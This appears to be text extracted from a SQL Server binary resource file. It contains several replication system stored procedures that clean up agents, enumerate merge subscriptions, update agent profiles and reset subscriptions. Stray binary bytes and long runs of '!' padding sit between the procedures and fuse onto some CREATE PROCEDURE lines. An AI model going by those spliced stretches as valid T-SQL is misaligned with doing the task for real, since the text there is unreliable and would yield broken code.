	-- Note that the existence of remote SQL Server publishers for the subscriber does
	-- not affect whether the subscriber status bit in srvstatus of sysservers can be cleared.
	--
	-- Note also that if errors are encountered in determining whether the srvstatus bit 
	-- can be cleared, the result is to allow the bit to be cleared.  

    BEGIN
    
		BEGIN TRY
			IF UPPER(@publisher) = UPPER(@distributor)
			BEGIN
				-- If the distributor and publisher are local, verify that the subscriber is not 
				-- also a subscriber to a heterogeneous publisher associated with this distributor.
				SELECT @distproc = 'IF NOT EXISTS (SELECT * ' +
					'FROM ' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.MSsubscriber_info i, ' +
					'msdb.dbo.MSdistpublishers s ' +
					'WHERE UPPER(i.publisher) <> UPPER(' + QUOTENAME(@publisher,'''') + ') ' +
					'AND   UPPER(i.subscriber) = UPPER(' + QUOTENAME(@subscriber,'''') + ') ' +
					'AND   UPPER(i.publisher) = UPPER(s.name) ' +
					'AND   UPPER(s.publisher_type) LIKE ''ORACLE%'') ' +
				'BEGIN ' +				
					'RAISERROR('''', 11, 1) ' +
				'END '
			END
			ELSE
			BEGIN
				-- If the distributor is local but the publisher is not, verify that the subscriber is 
				-- not also a subscriber of the local distributor or a subscriber of a different
				-- heterogeneous publisher associated with this distributor.
				SELECT @distproc = 'IF NOT EXISTS (SELECT publisher ' +
					'FROM ' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.MSsubscriber_info ' +
					'WHERE UPPER(publisher) = UPPER(' + QUOTENAME(@distributor,'''') + ') ' +
					'AND   UPPER(subscriber) = UPPER(' + QUOTENAME(@subscriber,'''') + ') ' +
					' UNION ' +
					'                         (SELECT i.publisher ' +
					'FROM ' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.MSsubscriber_info i, ' +
					'msdb.dbo.MSdistpublishers s ' +
					'WHERE UPPER(i.publisher) <> UPPER(' + QUOTENAME(@publisher,'''') + ') ' +
					'AND   UPPER(i.subscriber) = UPPER(' + QUOTENAME(@subscriber,'''') + ') ' +
					'AND   UPPER(i.publisher) = UPPER(s.name) ' +
					'AND   UPPER(s.publisher_type) LIKE ''ORACLE%'')) ' +

				'BEGIN ' +				
					'RAISERROR('''', 11, 1) ' +
				'END '
			END
						
			EXEC (@distproc)
		
		END TRY
		
		BEGIN CATCH
			-- SRVSTATUS subscriber bit can be cleared on drop
			-- NOTE:  Errors executing the query will allow SRVSTATUS to be cleared.
			RETURN 1
		END CATCH

		-- SRVSTATUS bit cannot be cleared on drop
		RETURN 0
	END	
END
0 D8=h8
z19
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<GX	-А0X 8CREATE PROCEDURE sys.sp_MScleanup_agent_entry
AS
    declare @min_valid_day 		datetime
	, @publisher_id 		int
	, @subscriber_id 		int
	, @publication 			sysname
	, @publication_id		int
	, @publisher_db 		sysname
	, @subscriber_db 		sysname
	, @retention 			int
	, @publication_type 	int
	, @agent_id			int
	, @num_dropped	int
	, @retcode int
	, @retention_period_unit tinyint

    set nocount on
    select @num_dropped = 0

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

	declare PC CURSOR LOCAL FAST_FORWARD for 
		select distinct publisher_id, publisher_db, publication, retention, publication_type, 
			retention_period_unit, publication_id
		from MSpublications
		where retention<>0
	open PC
	fetch PC into @publisher_id, @publisher_db, @publication, @retention, @publication_type, 
		@retention_period_unit, @publication_id
	while (@@fetch_status <> -1)
    begin    
		if @publication_type = 2  --merge publication
		begin
    		select @min_valid_day = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())

		    declare hC CURSOR LOCAL FAST_FORWARD FOR 
				select msa.id from dbo.MSmerge_agents msa
				where msa.creation_date < @min_valid_day
    			and not exists 
    			(
    				select * from dbo.MSmerge_sessions sess
    				where sess.agent_id = msa.id 
    				and sess.end_time > @min_valid_day
    			)
    			and msa.publisher_id = @publisher_id
    			and msa.publisher_db = @publisher_db
    			and msa.publication = @publication   
	    		and msa.anonymous_subid is not null		-- Only do this for anonymous agents
				and not exists 
				(
					select * from dbo.MSmerge_subscriptions mss
					where mss.publisher_id = @publisher_id
					and mss.publisher_db = @publisher_db
    				and mss.publication_id = @publication_id
    				and upper(mss.subscriber) = upper(msa.subscriber_name)
    				and mss.subscriber_db = msa.subscriber_db
    				and mss.subscriber_version >= 90
    			)
			for read only
			open hC
			fetch hC into @agent_id
			while (@@fetch_status <> -1)
			begin
				exec @retcode = sys.sp_MSdrop_merge_agentid @agent_id
				if @retcode <> 0 or @@error <> 0
					return (1)
				select @num_dropped = @num_dropped + 1
				fetch hC into @agent_id
			end
			close hC
			deallocate hC
		end
   		else if @publication_type in (0,1) --Tran level publication
  			begin  
    			select @min_valid_day = dateadd(hour, @retention * (-1), getdate())    
				-- Only do this for anonymous agents
			    declare hC CURSOR LOCAL FAST_FORWARD FOR 
					select id from MSdistribution_agents where creation_date < @min_valid_day
						and not exists (select * from MSdistribution_history where agent_id = id and time > @min_valid_day)
						and publisher_id=@publisher_id
    					and publisher_db = @publisher_db
    					and publication = @publication            
	    				-- Only do this for anonymous agents
						and subscriber_name is not null         	            	
				for read only
				open hC
				fetch hC into @agent_id
				while (@@fetch_status <> -1)
				begin
					exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id
					if @retcode <> 0 or @@error <> 0
						return (1)
					select @num_dropped = @num_dropped + 1
					fetch hC into @agent_id
				end
			close hC
			deallocate hC
        	end
      	fetch PC into @publisher_id, @publisher_db, @publication, @retention, @publication_type, 
      		@retention_period_unit, @publication_id
    end
    close PC
    deallocate PC
	if @num_dropped > 0
		RAISERROR(20597, 10, -1, @num_dropped) 
   	return (0)
FAILURE:
    close PC
    deallocate PC
   	return (1)		
0 8create procedure sys.sp_MSenum_merge_subscriptions_90_publication
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @topNum int = NULL, 
    @exclude_anonymous bit = 0 
)
as
begin
    declare @publisher_id smallint
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

    if @@rowcount < 1 or @@error <> 0
    begin
        raiserror(25002, 16, -1)
        return (1)
    end

    if @topNum is not null
    	SET ROWCOUNT @topNum

    select resultset.* from 
    (
    select UPPER(sub.subscriber) as SubscriberName,
	sub.subscriber_db as SubscriberDatabase,
	sub.subscription_type as SubscriptionType,
	case when sub.subscription_type=0 then @publisher else UPPER(sub.subscriber) end as MergeAgentLocation,
	isnull(sessions.runstatus,0) as Status,
	sessions.start_time as LastSyncTime,
    	DATEDIFF(minute, sessions.start_time, getdate()) as merge_SyncExpireTime,
    	convert(int, sys.fn_convert_to_seconds(pub.retention, pub.retention_period_unit)*convert(int, sys.fn_replgetpublicationthreshold(pub.publication_id, 4))/100.0) as merge_SyncExpireTimeThreshold,
    	ISNULL(sessions.duration, DATEDIFF(minute, sessions.start_time, getdate())) as merge_RunDuration,
    	sys.fn_replgetpublicationthreshold(pub.publication_id, 5) as merge_RunFastDurationThreshold,
    	sys.fn_replgetpublicationthreshold(pub.publication_id, 6) as merge_RunSlowDurationThreshold
    from dbo.MSpublications pub, 
    	dbo.MSmerge_subscriptions sub, 
    	dbo.MSmerge_agents agents,
    	dbo.MSmerge_sessions sessions,
	(
	select agent_id, max(start_time) as maxtime 
	from dbo.MSmerge_sessions group by agent_id
	) as latest
    where pub.publisher_id=@publisher_id and
    	pub.publication=@publication and 
    	pub.publisher_db=@publisher_db and
    	pub.publication_type=2 and --merge
    	sub.publisher_id=pub.publisher_id and
    	sub.publisher_db=@publisher_db and 
    	sub.publication_id=pub.publication_id and 
    	agents.publisher_id=@publisher_id and
    	agents.publisher_db=pub.publisher_db and
    	agents.publication=pub.publication and 
    	UPPER(agents.subscriber_name) = UPPER(sub.subscriber) and 
	agents.subscriber_db=sub.subscriber_db and
	sessions.session_id = (select top 1 session_id from dbo.MSmerge_sessions where agent_id=agents.id 
							order by session_id desc) and 
	sessions.agent_id=agents.id and
	sessions.agent_id=latest.agent_id and 
	latest.maxtime=sessions.start_time 
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)`<SY	w0O K8create procedure sys.sp_MSenum_merge_subscriptions
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @exclude_anonymous bit = 0
)
as
begin
    declare @subscriber sysname
    declare @subscriber_db sysname
    declare @subscriber_name sysname
    declare @type int
    declare @status int
    declare @agent_name nvarchar(100)
    declare @subscriber_id smallint
    declare @publisher_id smallint
    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(255)
    declare @delivery_rate float
    declare @error_id int
    declare @publication_id int
    declare @download_inserts int
    declare @download_updates int
    declare @download_deletes int
    declare @download_conflicts int
    declare @upload_inserts int
    declare @upload_updates int
    declare @upload_deletes int
    declare @upload_conflicts int
    declare @job_id binary(16)
    declare @local_job bit
    declare @profile_id int
    declare @agent_id int
    declare @last_timestamp binary(8)
    declare @offload_enabled bit
    declare @offload_server sysname
		,@subscriber_type tinyint
	declare @anonymous_subid uniqueidentifier

    set nocount on

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

    select @publication_id = publication_id from dbo.MSpublications where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication and
            publication_type = 2 -- Merge 

    create table #merge_subscriptions (subscriber sysname NOT NULL,  status int NOT NULL, 
        subscriber_db sysname NOT NULL, type int NOT NULL, agent_name nvarchar(100) NOT NULL, last_action nvarchar(255) NULL, 
        action_time nvarchar(24) NULL, start_time nvarchar(24) NULL, duration int NULL, 
        delivery_rate float NULL,
        download_inserts int NULL, download_updates int NULL, download_deletes int NULL,
        publisher_conficts int NULL, 
        upload_inserts int NULL, upload_updates int NULL, upload_deletes int NULL,
        subscriber_conficts int NULL, error_id int NULL, job_id binary(16) NULL,
        local_job bit NULL, profile_id int NOT NULL, 
        agent_id int NOT NULL, last_timestamp binary(8) NOT NULL, offload_enabled bit NOT NULL, 
		offload_server sysname NULL, subscriber_type tinyint NULL)
    
    -- This is to force all queries to return rows ordered by job_id
    create unique clustered index ucmerge_subscriptions ON #merge_subscriptions (agent_id)

    declare hC CURSOR LOCAL FAST_FORWARD FOR select subscriber_id, subscriber_db, name, job_id, local_job, profile_id, id, subscriber_name,
                                                    offload_enabled, offload_server, anonymous_subid
                                from dbo.MSmerge_agents  
                                 where publisher_id = @publisher_id and publisher_db = @publisher_db and publication = @publication  and 
									(@exclude_anonymous = 0 or anonymous_subid is null)
                            for read only
    open hC
    fetch hC into  @subscriber_id, @subscriber_db, @agent_name, @job_id, @local_job, @profile_id, @agent_id, @subscriber_name, @offload_enabled,
                   @offload_server, @anonymous_subid
    while (@@fetch_status <> -1)
    begin

        if @anonymous_subid is not NULL 
            begin
                select @subscriber = @subscriber_name
                select @subscriber_db = @subscriber_db + '-' + convert(nvarchar(30), @agent_id)
                select @type = 2   --anonymous subscription
            end
        else
            begin
		  if @subscriber_id is not NULL 
        	      select @subscriber = srvname from master.dbo.sysservers where srvid=@subscriber_id
        	  else
        	      select @subscriber = @subscriber_name
                select @type = subscription_type from dbo.MSmerge_subscriptions  
                    where publisher_id = @publisher_id and
                        publisher_db = @publisher_db and
                        publication_id = @publication_id and
                        UPPER(subscriber) = UPPER(@subscriber) and
                        subscriber_db = @subscriber_db
				select @subscriber_type = type from MSsubscriber_info where
					UPPER(publisher) = UPPER(@publisher) and
					UPPER(subscriber) = UPPER(@subscriber)
            end
            
        -- Get the status of the agent
        select @status = 0 
        select  @start_time = NULL,
            @time = NULL, 
            @duration = NULL, 
            @comments = NULL,
            @download_inserts = NULL,
            @download_deletes = NULL,
            @download_updates =  NULL,
            @download_conflicts =  NULL,
            @upload_inserts = NULL,
            @upload_deletes = NULL,
            @upload_updates =  NULL,
            @upload_conflicts =  NULL,
            @delivery_rate = NULL, 
            @error_id = NULL,
            @last_timestamp = 0x00000000
                
        select @status = isnull(ms.runstatus,0),
            @start_time = sys.fn_replformatdatetime(ms.start_time),
            @time = sys.fn_replformatdatetime(ms.end_time), 
            @duration = ms.duration, 
            @comments = rh.comments,
            @download_inserts = ms.download_inserts,
            @download_deletes = ms.download_deletes,
            @download_updates =  ms.download_updates,
            @download_conflicts =  ms.download_conflicts,
            @upload_inserts = ms.upload_inserts,
            @upload_deletes = ms.upload_deletes,
            @upload_updates =  ms.upload_updates,
            @upload_conflicts =  ms.upload_conflicts,
            -- Note: return average rate here !!! delivery_rate column is current rate
            @delivery_rate = ms.delivery_rate, 
            @error_id = rh.error_id, @last_timestamp = ms.timestamp
            from dbo.MSmerge_sessions ms with (READPAST), dbo.MSmerge_history rh with (READPAST)
            where
                ms.agent_id = @agent_id and
                ms.session_id = (select top 1 session_id from dbo.MSmerge_sessions with (READPAST) 
                    where agent_id = @agent_id order by session_id desc) and
		  rh.agent_id = @agent_id and
		  rh.session_id=ms.session_id 
                    
/* Not currently working Build 351
                timestamp = (select top 1 timestamp from dbo.MSmerge_history with (READPAST) 
                    where agent_id = @agent_id
                    order by timestamp DESC) 
*/
        
            insert into #merge_subscriptions values ( @subscriber, @status, @subscriber_db,
                @type, @agent_name, @comments, @time, @start_time, @duration,
                @delivery_rate, 
                @download_inserts, @download_updates, @download_deletes, 
                @download_conflicts,
                @upload_inserts, @upload_updates, @upload_deletes, 
                @upload_conflicts,
                @error_id, @job_id, @local_job, @profile_id, @agent_id, @last_timestamp,
                @offload_enabled, @offload_server, @subscriber_type)
        

        fetch hC into  @subscriber_id, @subscriber_db, @agent_name, @job_id, @local_job, @profile_id, @agent_id, @subscriber_name,
                       @offload_enabled, @offload_server, @anonymous_subid
      end

    select * from #merge_subscriptions order by job_id asc

    drop table #merge_subscriptions
    close hC
    deallocate hC
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<lZ	e}0& 28-- Update the profile for an agent
CREATE PROCEDURE sys.sp_update_agent_profile 
(
    @agent_type     int,
    @agent_id       int,
    @profile_id int
)
AS
begin
    SET NOCOUNT ON

    DECLARE @proc               nvarchar(255)

    DECLARE @snapshot_type          int
    DECLARE @logreader_type         int
    DECLARE @distribution_type      int
    DECLARE @merge_type         int
    DECLARE	@qreader_type			int

    SELECT @snapshot_type = 1
    SELECT @logreader_type = 2
    SELECT @distribution_type = 3
    SELECT @merge_type = 4
    SELECT @qreader_type = 9
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_update_agent_profile', 'distribution')
        return (1)
    end

    IF @agent_type NOT IN (@snapshot_type, @logreader_type, @distribution_type, @merge_type, @qreader_type)
        RETURN (1) 

    /* The profile must be defined for the agent type in MSagent_profiles table */
    IF NOT EXISTS ( select * from msdb..MSagent_profiles
            where profile_id = @profile_id
            and agent_type = @agent_type )
        RETURN (1)
	
	-- The system 'SkipErrors' profile is for sql subscribers only.
	if @distribution_type = @agent_type and @profile_id = 14
	begin
		declare @subscriber_id int, @publisher_id int
		select top 1 @publisher_id = publisher_id, @subscriber_id = subscriber_id from
			MSsubscriptions where agent_id = @agent_id
		declare @subscriber sysname, @publisher sysname
		select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id
		select @subscriber = srvname from master.dbo.sysservers where srvid = @subscriber_id

		-- Use 'exists' not 'not exists' to take care null @publisher or @subscriber
		if exists (select * from MSsubscriber_info where
			upper(publisher) = upper(@publisher) and
			upper(subscriber) = upper(@subscriber) and
			type <> 0)
		begin
			raiserror(20603, 16, -1)
			return 1
		end
	end
	
	SELECT @proc = 'UPDATE ' +
        CASE @agent_type
           WHEN @snapshot_type THEN 'MSsnapshot_agents'
           WHEN @logreader_type THEN 'MSlogreader_agents'
           WHEN @distribution_type THEN 'MSdistribution_agents'
           WHEN @merge_type THEN 'MSmerge_agents'
           WHEN @qreader_type THEN 'MSqreader_agents'
        END
        + ' SET profile_id = ' + convert(nvarchar(10), @profile_id)
        + ' WHERE id = ' + convert(nvarchar(10), @agent_id)

    EXECUTE (@proc)

    IF @@ERROR <> 0 
        RETURN (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<[	wq$ 0! 8CREATE PROCEDURE sys.sp_MSreset_subscription 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,  
    @subscriber sysname,
    @subscriber_db sysname,
    @subscription_type int  -- have to have it to identify a distribution agent.
) 
AS
begin
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode            int
    DECLARE @publisher_id       smallint
    DECLARE @subscriber_id      smallint
    DECLARE @virtual            smallint
    DECLARE @virtual_anonymous  smallint
	declare @anonymous_subtype  smallint
	declare @publication_id		int
	declare @immediate_sync		bit

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    /*
    ** Initializations
    */
    select @virtual = -1
    select @virtual_anonymous = -2
    select @anonymous_subtype = 2

    select @publisher_id = srvid from master.dbo.sysservers where 
        UPPER(srvname) = UPPER(@publisher)

    select @subscriber_id = srvid from master.dbo.sysservers where 
        UPPER(srvname) = UPPER(@subscriber) 

	select @publication_id = publication_id, @immediate_sync = immediate_sync
		from dbo.MSpublications where
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication

    if @subscriber is NULL
        select @subscriber_id = @virtual

	-- No need to have 2 updates in one transaction.
	if @immediate_sync = 1
	begin
		UPDATE MSdistribution_agents SET subscription_guid = newid()
			WHERE
			publisher_id = @publisher_id AND
			publisher_db = @publisher_db AND
			publication = @publication and
			subscriber_id = @subscriber_id and
			subscriber_db = @subscriber_db and
			subscription_type = @subscription_type

		IF @@ERROR <> 0
			GOTO UNDO

        if @subscriber_id = @virtual
        begin
            -- reset the partial snapshot progress of all anonymous 
            -- agents associated with this virtual subscription

            update dbo.MSdistribution_agents 
               set reset_partial_snapshot_progress = 1
			 where
			publisher_id = @publisher_id AND
			publisher_db = @publisher_db AND
			publication = @publication and
			subscriber_id <> @virtual and
            subscriber_id <> @virtual_anonymous and
			subscription_type = @anonymous_subtype
        end 
	end

	UPDATE dbo.MSsubscriptions set subscription_time = getdate() 
        WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication_id = @publication_id and
        subscriber_id = @subscriber_id and
        subscriber_db = @subscriber_db and
        subscription_type = @subscription_type

    IF @@ERROR <> 0
        GOTO UNDO

    RETURN(0)

UNDO:
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$
<n\	0+0@ 08CREATE PROCEDURE sys.sp_MSreset_subscription_seqno 
(
    @agent_id int,
    @get_snapshot bit 
)
as
begin
	set nocount on

	declare @publication_id int
	declare @sub_agent_id int
	declare @virtual_anonymous smallint
	declare @virtual smallint
	declare @retcode int
	declare @automatic tinyint

	select @automatic = 1
	select @virtual = -1
	select @virtual_anonymous = -2

	-- Security Check
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_id = @agent_id,
        @agent_type = 0 -- distribution agent
    if @@error <> 0 or @retcode <> 0
        return (1)

	-- Get version agent_id
	select top 1 @sub_agent_id = s2.agent_id from dbo.MSsubscriptions s1,
		MSsubscriptions s2 where
		s1.publisher_id = s2.publisher_id and
		s1.publisher_db = s2.publisher_db and
		s1.publication_id = s2.publication_id and
		s1.agent_id = @agent_id and
		s2.subscriber_id = 
			case @get_snapshot when 0 
				then @virtual_anonymous
				else @virtual
			end 
	
	-- If there are no virtual subscriptions defined. Don't reset.
	-- This might happen when the distribution agent tries to 
	-- reset an subscription on a non immediate_sync publication 
	-- (this can
	-- only happen when the publication is changed from immediate_sync to non
	-- immdiate_sync after the distribution agent has queried the immediate_sync
	-- property)
	if @sub_agent_id = 0
		return 0

	-- 'no_sync' subscriptions are handled differently
	if exists (select * from dbo.MSsubscriptions where agent_id = @agent_id and 
		sync_type <> @automatic)
	begin
		-- If @get_snapshot = 0, the distribution agent is process the attached
		-- subscription for the first time. Set subscription_seqno to zero so that
		-- all changes that are not in the subscription copy will be picked up.
		-- Otherwise, do noting.
		if @get_snapshot = 0
		begin
			update dbo.MSsubscriptions  set 
				-- Use current date rather than virtual sub date for the
				-- calculation in cleanup 
				subscription_time = getdate(),
				-- lsn should be ten bytes long. We will not be here
				-- if the publisher is 6.x since 6x publisher does not
				-- support immediate_sync (thus does not support subscription copy as well)
				subscription_seqno = 0x00000000000000000000,
				publisher_seqno = 0x00000000000000000000,
				ss_cplt_seqno = 0x00000000000000000000
				from dbo.MSsubscriptions rs1 where
					agent_id = @agent_id 
		end		
		return 0
	end

	-- Reset the subscription statue to be that of the virtual_anonymous subscription.
	-- Thus, only the snapshot transactions that are later than the subscriber transaction
	-- timestamp will be picked up (i.e., new article or schema change article.)
    update dbo.MSsubscriptions  set 
        snapshot_seqno_flag =  
            (select snapshot_seqno_flag from dbo.MSsubscriptions rs2
                where
                rs2.agent_id = @sub_agent_id and
                rs2.article_id = rs1.article_id),
        status =    
            (select status from dbo.MSsubscriptions rs2
                where
                rs2.agent_id = @sub_agent_id and
                rs2.article_id = rs1.article_id),
        -- Use current date rather than virtual sub date for the
        -- calculation in cleanup 
        subscription_time = getdate(),
        subscription_seqno = 
            (select subscription_seqno from dbo.MSsubscriptions rs2
                where
                rs2.agent_id = @sub_agent_id and
                rs2.article_id = rs1.article_id),
        publisher_seqno = 
            (select publisher_seqno from dbo.MSsubscriptions rs2
                where
                rs2.agent_id = @sub_agent_id and
                rs2.article_id = rs1.article_id),
		ss_cplt_seqno = 
            (select ss_cplt_seqno from dbo.MSsubscriptions rs2
                where
                rs2.agent_id = @sub_agent_id and
                rs2.article_id = rs1.article_id)
        from dbo.MSsubscriptions rs1 where
            agent_id = @agent_id
        
	if @@ERROR <> 0
        return 1
end
